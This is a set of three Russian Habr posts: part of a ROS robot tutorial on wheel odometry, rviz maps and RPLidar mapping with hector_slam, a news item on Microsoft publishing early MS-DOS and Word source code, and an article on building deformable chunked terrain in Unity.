#############################################################################
rospy.init_node("diff_tf")
self.nodename = rospy.get_name()
rospy.loginfo("-I- %s started" % self.nodename)
#### parameters #######
#Wheel radius : 0.0325
# wheel circum = 2* 3.14 * 0.0325 = 0.2041
# One rotation encoder ticks : 8 ticks
# For 1 meter: 8 * ( 1 / 0.2041) = 39 ticks
self.rate = rospy.get_param('~rate',10.0) # the rate at which to publish the transform
self.ticks_meter = float(rospy.get_param('ticks_meter', 190)) # The number of wheel encoder ticks per meter of travel
self.base_width = float(rospy.get_param('~base_width', 0.11)) # The wheel base width in meters
self.base_frame_id = rospy.get_param('~base_frame_id','base_link') # basefootprint /the name of the base frame of the robot
self.odom_frame_id = rospy.get_param('~odom_frame_id', 'odom') # the name of the odometry reference frame
self.encoder_min = rospy.get_param('encoder_min', -2147483648)
self.encoder_max = rospy.get_param('encoder_max', 2147483648)
self.encoder_low_wrap = rospy.get_param('wheel_low_wrap', (self.encoder_max - self.encoder_min) * 0.3 + self.encoder_min )
self.encoder_high_wrap = rospy.get_param('wheel_high_wrap', (self.encoder_max - self.encoder_min) * 0.7 + self.encoder_min )
self.t_delta = rospy.Duration(1.0/self.rate)
self.t_next = rospy.Time.now() + self.t_delta
# internal data
self.enc_left = None # wheel encoder readings
self.enc_right = None
self.left = 0 # actual values coming back from robot
self.right = 0
self.lmult = 0
self.rmult = 0
self.prev_lencoder = 0
self.prev_rencoder = 0
self.x = 0 # position in xy plane
self.y = 0
self.th = 0
self.dx = 0 # speeds in x/rotation
self.dr = 0
self.yaw = 0.01
self.pitch = 0.01
self.roll = 0.01
self.then = rospy.Time.now()
self.quaternion_1 = Quaternion()
# subscriptions
rospy.Subscriber("wheel_ticks_left", UInt32, self.lwheelCallback)
rospy.Subscriber("wheel_ticks_right", UInt32, self.rwheelCallback)
#rospy.Subscriber("imu_data", Vector3, self.imu_value_update)
self.odomPub = rospy.Publisher("odom", Odometry,queue_size=10)
self.odomBroadcaster = TransformBroadcaster()
#############################################################################
def spin(self):
#############################################################################
r = rospy.Rate(self.rate)
while not rospy.is_shutdown():
self.update()
r.sleep()
#############################################################################
def update(self):
#############################################################################
now = rospy.Time.now()
if now > self.t_next:
elapsed = now - self.then
self.then = now
elapsed = elapsed.to_sec()
# calculate odometry
if self.enc_left == None:
d_left = 0
d_right = 0
else:
d_left = (self.left - self.enc_left) / self.ticks_meter
d_right = (self.right - self.enc_right) / self.ticks_meter
self.enc_left = self.left
self.enc_right = self.right
# distance traveled is the average of the two wheels
d = ( d_left + d_right ) / 2
# this approximation works (in radians) for small angles
th = ( d_right - d_left ) / self.base_width
# calculate velocities
self.dx = d / elapsed
self.dr = th / elapsed
if (d != 0):
# calculate distance traveled in x and y
x = cos( th ) * d
y = -sin( th ) * d
# calculate the final position of the robot
self.x = self.x + ( cos( self.th ) * x - sin( self.th ) * y )
self.y = self.y + ( sin( self.th ) * x + cos( self.th ) * y )
if( th != 0):
self.th = self.th + th
# publish the odom information
quaternion = Quaternion()
quaternion.x = 0.0
quaternion.y = 0.0
quaternion.z = sin( self.th / 2 )
quaternion.w = cos( self.th / 2 )
'''
try:
quaternion.z = self.quaternion_1[2]
quaternion.w = self.quaternion_1[3]
except:
quaternion.z = sin( self.th / 2 )
quaternion.w = cos( self.th / 2 )
pass
'''
self.odomBroadcaster.sendTransform(
(self.x, self.y, 0),
(quaternion.x, quaternion.y, quaternion.z, quaternion.w),
rospy.Time.now(),
self.base_frame_id,
self.odom_frame_id
)
odom = Odometry()
odom.header.stamp = now
odom.header.frame_id = self.odom_frame_id
odom.pose.pose.position.x = self.x
odom.pose.pose.position.y = self.y
odom.pose.pose.position.z = 0
odom.pose.pose.orientation = quaternion
odom.child_frame_id = self.base_frame_id
odom.twist.twist.linear.x = self.dx
odom.twist.twist.linear.y = 0
odom.twist.twist.angular.z = self.dr
self.odomPub.publish(odom)
def imu_value_update(self, imu_data):
orient = Vector3()
orient = imu_data
self.yaw = orient.x
self.pitch = orient.y
self.roll = orient.z
try:
self.quaternion_1 = tf.transformations.quaternion_from_euler(self.yaw, self.pitch, self.roll)
#print self.quaternion_1[0]
#print self.quaternion_1[1]
#print self.quaternion_1[2]
#print self.quaternion_1[3]
except:
rospy.logwarn("Unable to get quaternion values")
pass
#############################################################################
def lwheelCallback(self, msg):
#############################################################################
enc = msg.data
if (enc < self.encoder_low_wrap and self.prev_lencoder > self.encoder_high_wrap):
self.lmult = self.lmult + 1
if (enc > self.encoder_high_wrap and self.prev_lencoder < self.encoder_low_wrap):
self.lmult = self.lmult - 1
self.left = 1.0 * (enc + self.lmult * (self.encoder_max - self.encoder_min))
self.prev_lencoder = enc
#############################################################################
def rwheelCallback(self, msg):
#############################################################################
enc = msg.data
if(enc < self.encoder_low_wrap and self.prev_rencoder > self.encoder_high_wrap):
self.rmult = self.rmult + 1
if(enc > self.encoder_high_wrap and self.prev_rencoder < self.encoder_low_wrap):
self.rmult = self.rmult - 1
self.right = 1.0 * (enc + self.rmult * (self.encoder_max - self.encoder_min))
self.prev_rencoder = enc
#############################################################################
#############################################################################
if __name__ == '__main__':
""" main """
diffTf = DiffTf()
diffTf.spin()
```
Сохраним файл и сделаем его исполняемым:
`CTRL+X
chmod +x diff-tf.py`
Теперь на роботе запустим 2-е ноды — driver и diff-tf:
1-й терминал:
```
python diff_tf.py
```
2-й:
```
rosrun rosbots_driver part2_cmr.py
```
В 3-м терминале проверим, что появились новые топики odom и tf:
Посмотрим командой rostopic echo odom, что публикуется в топик (и публикуется ли вообще).
Вывод будет примерно следующим:
Теперь, не закрывая запущенные ноды на роботе, запустим управляющий компьютер с графическими средами rviz и gazebo.
\*Образ (виртуальная машина VMWare с Ubuntu 16.04+ROS Kinetic), который ранее предлагался для скачивания содержит все необходимое.
На управляющем компьютере (далее по тексту «Компьютер») запустим модель в rviz:
```
roslaunch rosbots_description rviz.launch
```
Загрузится модель робота, с которой работали в предыдущих постах:
Добавим два дисплея в rviz, нажав Add. Дисплей с odometry и дисплей с tf, поставим галочки, чтобы их визуализировать.
В окне, где изображена модель робота появится характерная графика:
\*чтобы она была наглядней можно отключить дисплей Robotmodel.
Поуправляем роботом с клавиатуры Компьютера и посмотрим, как изменяется визуализация tf и одометрии.
Не закрывая rviz во 2-м терминале запустим управление с клавиатуры:
```
rosrun teleop_twist_keyboard teleop_twist_keyboard.py /cmd_vel:=/part2_cmr/cmd_vel
```
При управлении роботом в окне с визуализацией будут видны: красная стрелка (визуализация топика odom), векторные линии (топик tf).
Если красная стрелка топика odom демонстрирует направление движения робота, то векторные линии tf показывают, как располагаются отдельные элементы робота в пространстве:
**видео**
Теперь, чтобы продвинуться дальше, необходимо «настроить» одометрию.
Для этого закроем редактор rviz и запустим его заново, только без визуализации модели командой:
```
rosrun rviz rviz
```
Этого необходимо для того, чтобы из векторов топика tf остались только base\_link и odom:
В rviz одна клетка равна 1 метру. Поэтому в реальности робот также должен проходить 1 метр, чтобы данные были сопоставимы.
Проедем 1 метр на роботе, управляя им с клавиатуры. В rviz робот также должен проехать 1 метр — одну клетку.
Если робот проезжает больше положенного в rviz или наоборот более короткое расстояние, чем в реальности, то необходимо править файл diff\_tf.py, который ранее создавался, а именно вот этот блок:
**diff\_tf.py**
```
#### parameters #######
#Wheel radius : 0.0325
# wheel circum = 2* 3.14 * 0.0325 = 0.2041
# One rotation encoder ticks : 8 ticks
# For 1 meter: 8 * ( 1 / 0.2041) = 39 ticks
self.rate = rospy.get_param('~rate',10.0) # the rate at which to publish the transform
self.ticks_meter = float(rospy.get_param('ticks_meter', 190)) # The number of wheel encoder ticks per meter of travel
self.base_width = float(rospy.get_param('~base_width', 0.11)) # The wheel base width in meters
```
### Map (карта)
Чтобы куда-то поехать, необходима карта. Для целей нашего робота — нужна карта помещения.
Поработаем с ней.
Для того, чтобы загрузить карту в rviz, необходимо в проекте (rosbots\_description) на Компьютере (не на роботе) создать папку map и поместить в нее два файла, из которых «состоит» карта: map.pgm и map.yaml.
\*На самом деле в папке может быть несколько файлов-карт, но загрузить в мастер можно только одну.
Карта в ROS представляет собой два файла, один из которых изображения в формате PGM, где каждый пиксель либо:
* белый — пространство свободно;
* черный — пространство занято препятствием;
* серый — пространство еще не исследовано.
Второй файл .yaml — файл с настройками карты, где указаны ее размеры, заполненность пикселями разных видов (перечисленных выше), иные параметры.
Запустим на Компьютере ноду, которая опубликует карту:
```
rosrun map_server map_server /home/pi/catkin_ws/src/rosbots_description/maps/rail_lab.pgm 0.05
```
В соседнем терминале запустим модель в rviz:
```
roslaunch rosbots_description rviz.launch
```
В rviz добавим дисплей Map.
В rviz робот получился непропорционально большим, и расположен вне карты:
Чтобы это исправить, надо запустить карту, где размер клетки будет 1 метр. Перезапустим карту с параметром 1 на окончании:
```
rosrun map_server map_server /home/pi/catkin_ws/src/rosbots_description/maps/rail_lab.pgm 1
```
Теперь можно поездить по карте в rviz, управляя роботом с клавиатуры:
**видео**
**Итак, что удалось добиться**:
* получить данные одометрии с оптических энкодеров колес робота и отправить их в топики для отображения в rviz;
* настроить одометрию робота для соответствия пройденного расстояния вживую и виртуально;
* загрузить и отобразить карту помещения.
Однако, несмотря на то, что карта отображается и робот может по ней ездить с «настроенной» одометрией, в реальности робот слеп. Он не видит препятствий и будет натыкаться на них. Второй минус — виртуальная карта помещения, загруженная в rviz позволяет ездить по себе во всех направлениях, даже в тех, где явно изображены препятствия.
Как заставить робота «видеть» препятствия в реальности и виртуально?
С виртуальной средой попроще. Здесь все строится на базе эмулятора-редактора gazebo. И в предыдущих постах об этом упоминалось.
С реальностью посложнее. Нужен элемент (датчик), который будет обозначать препятствия и сообщать об этом системе.
Один из вариантов — поставить на робота лидар.
### Лидар RPlidar A1
Воспользуемся доступным бюджетным решением и поставим на робота лидар. Возможно, это решение будет дороже использования того же Kinectа, но оно, как показала практика, более эффективно в плане скорости работы, точности и простоты монтажа (менее громоздко). Кроме того, с lidarом проще начать работать, т.к. не требуются размышления, как его запитать и подключить к проекту (https://habr.com/ru/company/tod/blog/210252/).
Нам понадобится пакет ros для работы с лидаром — [wiki.ros.org/rplidar](http://wiki.ros.org/rplidar).
С помощью лидара мы построим карту помещения, а также используем его в навигации.
Как установить rplidar в ROS есть масса статей, например [здесь](https://itnan.ru/post.php?c=2&p=281760).
Воспользуемся знаниями седых старцев и установим пакеты с лидаром в систему на роботе:
```
cd /home/pi/rosbots_catkin_ws/src
git clone https://github.com/robopeak/rplidar_ros.git
cd ..
catkin_make
```
На Компьютере установим пакет для работы с картой:
```
cd /home/pi/rosbots_catkin_ws/src
git clone https://github.com/tu-darmstadt-ros-pkg/hector_slam
cd ..
catkin_make
```
Запустим на роботе пакет и проверим работает ли лидар:
```
sudo chmod a+rw /dev/ttyUSB0
roslaunch rplidar_ros rplidar.launch
```
\*первая команда дает доступ к порту usb, где подключен лидар.
Если все пошло гладко, то в консоль выдаст строки:
```
[ INFO] [1570900184.874891236]: RPLIDAR running on ROS package rplidar_ros. SDK Version:1.9.0
RPLIDAR S/N: ----------------
[ INFO] [1570900187.397858270]: Firmware Ver: 1.24
[ INFO] [1570900187.398081809]: Hardware Rev: 5
[ INFO] [1570900187.401749476]: RPLidar health status : 0
[ INFO] [1570900188.014285166]: current scan mode: Express, max_distance: 12.0 m, Point number: 4.0K , angle_compensate: 1
```
Здесь сразу немного настроим лидар, т.к. официальный [сайт](http://www.slamtec.com/en/Lidar/A1) говорит, что он (лидар) может и получше работать.
Нам необходимо добиться выдачи при сканировании не 4.0K точек, котрые выдаются по умолчанию, а 8.0К. Данная опция немного улучшит качество сканирования.
Для это в пакете rplidar зададим еще один параметр — scan mode:
```
cd /rosbots_catkin_ws/src/rplidar_ros/launch
nano nano rplidar.launch
```
И после
добавим строку:
Вторую строку, которую надо поправить здесь же:
Значение laser заменить на base\_link.
\*Теперь, если перезапустить ноду командой roslaunch rplidar\_ros rplidar.launch, вывод будет другим:
```
[ INFO] [1570900188.014285166]: current scan mode: Boost, max_distance: 12.0 m, Point number: 8.0K , angle_compensate: 1
```
Посмотри. что выводит лидар в rviz.
Для этого запустим на роботе:
```
roslaunch rplidar_ros rplidar.launch
```
На Компьютере:
```
roslaunch rosbots_description rviz.launch
```
В rviz добавим дисплей LaserScan и выберем топик scan. Далее будет видно, что в топик падают сообщения:
В окне с визуализацией робота, робот получился великаном. С его размерами мы разберемся позднее. А сейчас построим карту помещения.
Для этого создадим пакет с нодой:
```
catkin_create_pkg my_hector_mapping rospy
cd my_hector_mapping
mkdir launch
cd launch
nano hector.launch
```
**hector.launch**
```
xml version="1.0"?
//середина карты
```
```
cd ~/rosbots_catkin_ws
catkin_make
```
Запустим.
На роботе:
1-й терминал:`roslaunch rplidar_ros rplidar.launch`
2-й: `rosrun rosbots_driver part2_cmr.py`
На Компьютере:
1-й терминал: `roslaunch my_hector_mapping hector.launch`
2-й: `roslaunch rosbots_description rviz.launch`
3-й: `rosrun teleop_twist_keyboard teleop_twist_keyboard.py /cmd_vel:=/part2_cmr/cmd_vel`
В дисплеи надо добавить map, а Fixed frame выбрать base\_link. Далее можно наблюдать в режиме реального времени, как лидар «освещает» пространство вокруг себя:
На текущем шаге, чтобы построить карту, надо поездить по помещению, «заезжая» в разные углы, чтобы лидар обозначил их на карте.
Так рекомендуют учебники. Но наш совет — взять робота в руки и пройтись с ним, держа его перед собой. Так скорость построения карты будет больше в том плане, что вам не надо будет отвлекаться и смотреть, куда заехал робот в соседнем помещении при отсутствии визуального контакта.
Кроме того, при поворотах роботом вокруг своей оси при поездке лидар оставляет характерные артефакты черного цвета в тех местах, где на самом деле нет препятствий:
После построения карты, сохраним ее командой:
```
rosrun map_server map_saver -f map-1
```
Построение идеальной карты с помощью бюджетного лидара — миф. Поэтому поможем лидару в фотошопе. Удалим артефакты черного цвета с карты, где их на самом деле нет препятствий, а стены выровняем линиями черного цвета:
Не забываем сохранить карту в формате .pgm.
Теперь повторим на Компьютере команды, которые были в начале поста, но уже с новой картой:
1-й терминал: `rosrun map_server maserver /home/pi/catkin_ws/src/rosbots_description/maps/map-1.pgm 0.05`
2-й: `roslaunch rosbots_description rviz.launch`
Результат в rviz:
Новая карта загрузилась, как и модель робота на ней, но робот вне карты.
Что с этим делать поговорим позднее, а пока подведем итоги:
* освоение лидара RP-lidar A1
* построение карты помещения с помощью лидара, ее корректировка и загрузка в визуальный редактор rviz.
Файлы для загрузки: [карта помещения](https://yadi.sk/d/N4n2lwtDOmzDvA). | https://habr.com/ru/post/471028/ | null | ru | null |
# Microsoft открывает исходный код первых версий MS-DOS и Word
Не прошло и 40 лет, как компания Microsoft решила открыть для публики исходный код MS-DOS v1.1 и v2.0, а также одной из первых версий Word for Windows 1.1a. Сказать спасибо за это надо The Computer History Museum и Microsoft Research.
Ссылки:
[MS-DOS v1.1 & v2.0](http://www.computerhistory.org/atchm/microsoft-research-license-agreement-msdos-v1-1-v2-0/)
[Word v1.1a](http://www.computerhistory.org/atchm/microsoft-research-license-agreement-msword-v-1-1a/)
[Зеркало [mega]](https://mega.co.nz/#F!jAhUzLCC!2i187wbXL7WUF3587YaMfw)
[Зеркало [sendspace]](http://www.sendspace.com/filegroup/61DF3FLY3Z3pnWTHQMzcRQ)
Согласно [пресс-релизу](http://www.computerhistory.org/press/ms-source-code.html), оба программных продукта стали краеугольным камнем в жизни компании, заложив основу ее коммерческого успеха. Исходный код MS-DOS v1.1 относится к 1982 году, v2.0 — к 1983. Кстати, в версии 1.1 вся операционная система умещалась в 12 килобайтах памяти — что, конечно, несравнимо с сегодняшними «монстрами».
Версия Word для DOS, выпущенная в 1983 году, особого успеха не снискала, проиграв лидеру рынка на тот момент — процессору по имени WordPerfect. Зато выпуск в 1989 году Word для Windows изменил все — за четыре года этот программный продукт сумел захватить более половины доходов всего рынка текстовых процессоров, что стало впечатляющим успехом работы маркетингового отдела и инженеров компании.
Что ж, сегодня вечером нас всех ждал сюрприз — теперь к легенде сможет прикоснуться каждый.
P.S. Тем временем, пользователи на HackerNews уже делают первые открытия в исходном коде Word, проверяя годами ходившие предания:
```
$ grep -ri fuck .
./Opus/asm/wordgrep.asm:; BP is used as always, the other registers are free to fuck with.
./Opus/asm/wordgrep.asm: je another_fucking_out_of_range_jump
./Opus/asm/wordgrep.asm:another_fucking_out_of_range_jump:
```
./Opus/asm/formatn.asm in Word v1.1a:
```
; /* Following comment is preserved verbatim for eternity */
; /* Rounding becomes a non-existant issue due to brilliant re-thinking */
; /* "What a piece of work is man
; How noble in reason
; In form and movement,
; how abject and admirable..."
; Bill "Shake" Spear [describing Sand Word] */
```
[Источник](http://blogs.technet.com/b/microsoft_blog/archive/2014/03/25/microsoft-makes-source-code-for-ms-dos-and-word-for-windows-available-to-public.aspx) | https://habr.com/ru/post/217081/ | null | ru | null |
# Создание динамически изменяемого ландшафта для RTS на Unity3D
Давным-давно я имел радость играть в замечательнейшую RTS под названием «Периметр: Геометрия Воины» от отечественного разработчика K-D Labs. Это игра о том, как огромные летающие города под названием «Фреймы» бороздят просторы «Спанджа» — цепи соединенных между собой миров. Сюжет достаточно странный и абстрактный, но гораздо более интересной и инновационной составляющей игры была одна из ее технических особенностей, а не сюжет. В отличие от большинства RTS, где сражения происходят на статической местности, в «Периметре», одной из ключевых игровых механик был терраформинг. У игрока были средства манипулировать ландшафтом с целью возведения на нем своих сооружений а также целый арсенал боевых единиц, способных этот ландшафт превратить в потрескавшийся, поплывший и изрыгающий раскаленные камни/противных насекомых ужас.
Как известно, мир RTS нынче переживает некоторый упадок. Инди-разработчики слишком заняты тем, что клепают ретро-платформеры и rouge-like игры зубодробительной сложности, и поэтому, переиграв в «Периметр» некоторое время назад я решил, что должен и сам попробовать реализовать что-то подобное — идея была интересной и с технической и с геймплейной точек зрения. Обладая некоторым практическим опытом в разработке игр (ранее я совершал попытки сделать кое-что на XNA), я подумал, что чтобы добиться хоть какого-то успеха в одиночку мне придется воспользоваться чем нибудь более высокоуровневым и простым. Выбор мой пал на Unity 3D, чья пятая версия только-только вышла из под пресса.
Вооруженный вагоном энтузиазма, вдохновением от только что пройденного «Периметра» и просмотренной серией видеотуториалов по Unity, я начал делать наброски и знакомиться с инструментарием, который мне предложил Unity Editor.
#### **Что предлагает community**
Как всегда, первый мой блин вышел комом. Без достаточного обдумывания я начал реализовывать ландшафт с помощью плоскости и кода, который должен был поднимать либо опускать вершины этой плоскости. Многие читатели, хотя бы немного знакомые с Unity могут возразить «Но ведь у Unity есть компонент Terrain, предназначенный специально для этих целей!» — и будут правы. Проблема лишь в том, что я, будучи слишком увлеченным реализацией своей идеи забыл об одной важной вещи: RTFM! Изучи я документацию и форумы чуть более тщательно, я бы не стал решать задачу таким откровенно дурацким способом, а сразу воспользовался бы готовым компонентом.
После двух дней бесполезного пота и алгоритмистики (Плоскость явно не была предназначена для использования в таких целях), я таки начал делать ландшафт с использованием Terrain. Должен сказать, что среди отдельных членов сообщества Unity, ходила идея создания динамического ландшафта для своей игры. Некоторые люди задавали на форумах вопросы и получали ответы. Им рекомендовали использовать метод SetHeights, принимающий на вход кусок нормализованного от 0f до 1f heightmap'а, который будет установлен начиная с точки (xBase; yBase) на выбранный ландшафт.
Довольный результатами своих поисков, я начал разработку. Первый рабочий прототип был готов пару часов спустя и включал в себя простейшую двигалку камеры (с использованием правой клавиши), простой генератор кратеров и собственно добавление этих кратеров на ландшафт по нажатию на левую клавишу (билд можно схватить и посмотреть [здесь](https://drive.google.com/file/d/0ByET7N3PxyMbM3dBc2dkU1VWWms/view?usp=sharing)).
Сама по себе деформирующая часть была до неприличия простая.
**Это был скрипт примерно следующего содержания**
```
void ApplyAt(DeformationData data) {
currentHeights = data.terrainData.GetHeights(data.X - data.W/2, data.Y - data.H/2, W, H);
for (int i = 0; i < data.W; i++) {
for (int j = 0; j < data.H; j++) {
if (data.Type == DeformationType.Additive)
currentHeights[i, j] += data.heightmap[i, j];
else
currentHeights[i, j] *= data.heightmap[i, j];
}
}
data.terrainData.SetHeights(data.X - data.W/2, data.Y - data.H/2, currentHeights);
}
```
Объект DeformationData содержал в себе координаты X и Y, к которым нужно применить деформацию, нормализованный heightmap, который аддитивно либо мультипликативно накладывался на текущий ландшафт и прочий boilerplate, необходимый для работы механизма деформаций.
Также был генератор деформаций, позволяющий, например,
**сгенерировать кратер по заданным параметрам**
```
// Методы являются частью класса - переменные H, W являются его свойствами.
// Несложно догадаться, что H - высота матрицы деформации, W - ее ширина.
float GetDepth(float distanceToCenter, int holeDepth,
int wallsHeight, int holeRadius, int craterRadius)
{
if (distanceToCenter <= holeRadius)
{
return (Mathf.Pow(distanceToCenter, 2) * (holeDepth + wallsHeight) / Mathf.Pow(holeRadius, 2)) - holeDepth;
} else if (distanceToCenter <= craterRadius) {
return Mathf.Pow(craterRadius - distanceToCenter, 2) * wallsHeight / Mathf.Pow(craterRadius - holeRadius, 2);
} else return 0f;
}
float[,] Generate(int holeDepth, int wallsHeight,
int holeRadius, int craterRadius)
{
var heightmap = new float[W, H];
for (var x = 0; x < W; x++)
{
for (var y = 0; y < H; y++)
{
var offsetX = x - W / 2;
var offsetY = y - H / 2;
var depth = GetDepth(Mathf.Sqrt(offsetX * offsetX + offsetY * offsetY),
holeDepth, wallsHeight, holeRadius, craterRadius);
heightmap[x, y] = depth;
}
}
}
```
И все это было основой всего Tech Demo, если так конечно можно выразиться.
#### **Анализ результатов первой попытки**
Если вы посмотрели Tech Demo, то, вероятно, сразу же заметили определенные проблемы в механизме деформаций. Если же вы не смотрели его (за что я вас не виню), то я вам расскажу что было не так. Основной проблемой была производительность. Точнее ее полное отсутствие. Когда начинались деформации, framerate падал до очень маленьких (на некоторых машинах однозначных) чисел, что было неприемлемо, потому как никакой графики в игре по сути не было. Мне удалось выяснить, что сам по себе метод SetHeights() вызывает сложнейшую череду расчетов LOD для ландшафта и по этой причине не годится для деформаций ландшафта в реальном времени. Казалось бы, мои надежды рухнули и реализация деформаций в реальном времени на Unity невозможна, но я не сдавался и выяснил очевидную, но очень важную особенность механизма пересчета LOD.
Чем меньше разрешение карты высот ландшафта, тем меньше удар по производительности при применении SetHeights().
Разрешение карты высот — это параметр, характеризующий качество отображения ландшафта. Оно является целочисленным (очевидно), отчего в сниппетах выше для обозначения координаты на карте использовались целочисленные переменные. И оно может быть больше размеров ландшафта, например, для ландшафта 256х256 можно установить разрешение карты высот равным 513, что придаст ландшафту точности и менее угловатые очертания. Почему именно 513, а не 512, я расскажу в следующей секции.
Игры с разрешением карты высот позволили мне найти более-менее оптимальные размеры для моей конфигурации, но я был сильно огорчен результатами. Для успешного применения такого ландшафта в RTS, его размеры должны быть достаточно большими, чтобы на нем можно было сосуществовать некоторое время хотя бы двум игрокам. По моим первоначальным оценкам, карта размером 2х2км (или 2048х2048 Unity Units) должна была быть в самый раз. Для того, чтобы не замечать влияния на framerate деформаций в реальном времени, размер ландшафта должен был быть не более 512х512 единиц. Более того, одинарная точность карты высот давала не самые впечатляющие результаты, когда дело касалось визуального качества. Ландшафт был местами угловат и кривоват, что требовало удвоения точности карт высот.
В общем, дела обстояли не очень хорошо.
#### **Super Terrain — концепт и теория**
```
Маленькая заметка: в этой секции рассматривается теоретическая и концептуальная части Super Terrain. Код реализации рассматривается в деталях в следующей секции.
```
Примерно тогда меня начала посещать следующая мысль: «Раз мы не можем сделать один большой ландшафт и при этом иметь достаточную производительность при деформациях, то почему бы не сделать кучу маленьких и не разместить их бок о бок? — Как chunk'и в Minecraft?» Идея была неплохой, но была сопряжена с некоторыми проблемами:
* Как выбрать размер для «chunk'а»
* Как сделать так, чтобы на стыках «chunk'ов» не было заметных швов
* Как применять деформации, происходящие на стыках соседних chunk'ов
###### **Первая проблема**
Первая проблема была достаточно пустяковой: Я просто выбрал размер для chunk'а 256х256 с двойной точностью (heightmap resolution = 513). Такой setup не вызывал у проблем с производительностью *на моей машине*. Возможно в будущем пришлось бы пересмотреть размеры chunk'ов, но на текущем этапе, такое решение меня устраивало.
###### **Вторая проблема**
Что касается второй проблемы, то у нее было две составляющих. Первая, очевидно, состояла в том, чтобы выравнять высоты соседних «пикселей» карт высот соседних chunk'ов. Именно во время решения этой проблемы я и понял, почему разрешение карты высот является степенью двойки + 1. Продемонстрирую на иллюстрации:
Очевидно, что для того, чтобы сохранялось равенство высот в соседних ландшафтах, «последний» пиксель карты высот первого ландшафта должен быть по высоте равен «первому» пикселю следующего:
Очевидно, «Super Terrain» — это и есть матрица Unity Terrain'ов, объединенных механизмом наложения heightmap'ов и деформаций.
После того, как реализация кода для объединения ландшафтов была завершена (применение локальных деформаций малого размера было оставлено на потом — сейчас требовалось разработать механизм создания матрицы Terrain'ов и начальная инициализация карты высот), открылась еще одна составляющая второй проблемы (отсутствие швов на стыке ландшафтов), которая к счастью была разрешена достаточно просто. Проблема состояла в том, что для такого «совмещения» ландшафтов необходимо объяснить Unity, что они используются совместно и являются соседними. Для этого разработчиками был предусмотрен метод [SetHeighbors](http://docs.unity3d.com/ScriptReference/Terrain.SetNeighbors.html). Мне до сих пор не совсем понятно, как он работает, но без него на стыках ландшафтов появляются артефакты с тенями и темные полосы.
###### **Третья проблема**
Самая интересная и сложная из трех, эта проблема не давала мне покоя не меньше недели. Я отбросил четыре различных реализации пока не пришел к финальной, о которой я и расскажу. Сразу сделаю небольшое замечание об одном важном ограничении моей реализации — она предполагает, что локальная деформация не может быть размером больше, чем один chunk. Деформация по прежнему может находиться на их стыке, однако сторона матрицы деформации не должна превышать разрешения карты высот chunk'а и все они должны быть квадратными (карты высот, сами chunk'и и деформации). В целом, это не является большим ограничением, так как любая деформация больших размеров может быть получена путем применения нескольких малых по очереди. Что касается «квадратности», то это ограничение карты высот. То есть обязана быть квадратной только ее карта высот, на которой могут быть «нулевые» участки при аддитивном либо «единичные» при мультипликативном применениях.
Сама по себе идея алгоритма для универсального применения деформации состояла в следующем:
1. Разделить heightmap деформации на девять частей по одной на каждый из chunk'ов, на который потенциально может повлиять деформация. Так центральная часть будет отвечать за деформацию chunk'а, на который непосредственно попала деформация, стороны отвечают за chunk'и, находящиеся слева/справа или сверху/снизу и т.д. В случае, если деформация не изменяет chunk, то ее составляющая будет равна null.
2. Применить частичные heightmap'ы к соответствующим chunk'ам, либо проигнорировать изменения, если частичный heightmap равен null.
Такой подход позволяет универсально применять и деформации находящиеся как в самом центре chunk'а и не затрагивающие других chunk'ов, так и на границах с ними либо даже в углах. Делить именно на девять частей (а не на четыре) нужно по причине того, что в случае, если деформация начинается или заканчивается на границе chunk'а, граничные пиксели того, который находится по соседству с ним тоже должны быть изменены. (Для того, чтобы не было видимым швов — см. решение проблемы номер 2).
#### **Super Terrain — практика**
###### **Создание SuperTerrain**
В рамках второй проблемы был разработан мезанизм, позволяющий объединить несколько Terrain'ов в один и применять «глобальные» карты высот, ложащиеся на весь ландшафт целиком.
Скажу сразу, что понадобилась эта возможность глобального применения карты высот потому как для создание ландшафта было процедурным, а для его использования использовался [Square-Diamond алгоритм](http://www.playfuljs.com/realistic-terrain-in-130-lines/), выходом которого и была большая матрица float'ов — наша большая карта высот.
В целом, создание SuperTerrain — достаточно простой и интуитивно понятный процесс, описанный
**здесь**
```
///
/// Compound terrain object.
///
public class SuperTerrain
{
///
/// Contains the array of subterrain objects
///
private Terrain[,] subterrains;
///
/// Superterrain detail. The resulting superterrain is 2^detail terrains.
///
/// The detail.
public int Detail { get; private set; }
///
/// Parent gameobject to nest created terrains into.
///
/// The parent.
public Transform Parent { get; private set; }
///
/// Builds the new terrain object.
///
/// The new terrain.
private Terrain BuildNewTerrain()
{
// Using this divisor because of internal workings of the engine.
// The resulting terrain is still going to be subterrain size.
var divisor = GameplayConstants.SuperTerrainHeightmapResolution / GameplayConstants.SubterrainSize * 2;
var terrainData = new TerrainData {
size = new Vector3 (GameplayConstants.SubterrainSize / divisor,
GameplayConstants.WorldHeight,
GameplayConstants.SubterrainSize / divisor),
heightmapResolution = GameplayConstants.SuperTerrainHeightmapResolution
};
var newTerrain = Terrain.CreateTerrainGameObject(terrainData).GetComponent();
newTerrain.transform.parent = Parent;
newTerrain.transform.gameObject.layer = GameplayConstants.TerrainLayer;
newTerrain.heightmapPixelError = GameplayConstants.SuperTerrainPixelError;
return newTerrain;
}
///
/// Initializes the terrain array and moves the terrain transforms to match their position in the array.
///
private void InitializeTerrainArray()
{
subterrains = new Terrain[Detail, Detail];
for (int x = 0; x < Detail; x++) {
for (int y = 0; y < Detail; y++) {
subterrains[y, x] = BuildNewTerrain();
subterrains[y, x].transform.Translate(new Vector3(x \* GameplayConstants.SubterrainSize,
0f,
y \* GameplayConstants.SubterrainSize));
}
}
}
///
/// Initializes a new instance of the class.
///
/// Superterrain detail. The resultsing superterrain is 2^detail terrains.
/// Parent gameobject to nest created terrains into.
public SuperTerrain(int detail, Transform parent)
{
Detail = detail;
Parent = parent;
InitializeTerrainArray();
SetNeighbors();
}
///
/// Iterates through the terrain object and sets the neightbours to match LOD settings.
///
private void SetNeighbors()
{
ForEachSubterrain ((x, y, subterrain) => {
subterrain.SetNeighbors(SafeGetTerrain(x - 1, y),
SafeGetTerrain(x, y + 1),
SafeGetTerrain(x + 1, y),
SafeGetTerrain(x, y - 1));
});
}
#region [ Array Helpers ]
///
/// Safely retrieves the terrain object from the array.
///
/// The x coordinate.
/// The y coordinate.
private Terrain SafeGetTerrain(int x, int y)
{
if (x < 0 || y < 0 || x >= Detail || y >= Detail)
return null;
return subterrains[y, x];
}
///
/// Iterates over terrain object and executes the given action
///
/// Lambda.
private void ForEachSubterrain(Action lambda) {
for (int x = 0; x < Detail; x++) {
for (int y = 0; y < Detail; y++) {
lambda (x, y, SafeGetTerrain(x, y));
}
}
}
#endregion
}
```
